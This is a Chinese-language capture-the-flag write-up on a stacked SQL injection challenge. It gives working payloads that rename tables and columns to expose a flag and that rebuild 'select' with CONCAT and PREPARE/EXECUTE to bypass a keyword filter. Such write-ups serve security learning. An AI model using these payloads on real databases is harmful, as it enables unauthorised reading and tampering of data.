隨便注,初步判斷是有注入點的,那我們進入題目

提交一個1試一試

再在1的后面加個單引號試一試

報錯了,然后我們判斷有幾個欄位,

回車后正常,但是換成3后就報錯了,所以有兩個欄位,

當我想用聯合查詢查詢用戶和資料庫的時候


爆出一段正則運算式,發現過濾掉了圖中的關鍵字,然后我尋找繞過點,發現了堆疊注入,
查詢表


查詢欄位


發現flag,然后我們想辦法讀取flag值,因為select被正則運算式給過濾掉了,所以這里我們就要想一點騷姿勢了,
方法一、重命名表名、欄位名
我們發現利用 or 可以把表中所有資料查詢出來,但是查的不是flag所在表,

因為上面已經知道flag在'1919810931114514'表里面且根據顯示的內容判斷,sql陳述句為selsect id,data from words where id =
因為可以堆疊查詢,這時候就想到了一個改名的方法,把words隨便改成words1,然后把1919810931114514改成words,再把列名flag改成id,結合上面的1' or 1=1#爆出表所有內容就可以查flag啦
payload:
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
再用一下一開始的操作id=1' or 1=1#
方法二、預編譯繞過
PREPARE name from '[my sql sequece]'; //預定義SQL陳述句
EXECUTE name; //執行預定義SQL陳述句
(DEALLOCATE || DROP) PREPARE name; //洗掉預定義SQL 陳述句
預定義陳述句也可以通過變數進行傳遞:
SET @tn = 'hahaha'; //存盤表名
SET @sql = concat('select * from ', @tn); //存盤SQL陳述句
PREPARE name from @sql; //預定義SQL陳述句
EXECUTE name; //執行預定義SQL陳述句
(DEALLOCATE || DROP) PREPARE sqla; //洗掉預定義SQL陳述句
本題即可利用 char() 函式將select的ASCII碼轉換為select字串,接著利用concat()函式進行拼接得到select查詢陳述句,從而繞過過濾,或者直接用concat()函式拼接select來繞過,
char(115,101,108,101,99,116)<----->'select'
payload
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/296072.html
標籤:其他
上一篇:Web安全-Web漏洞必懂知識點
下一篇:橢圓曲率演算法不同曲線的安全性
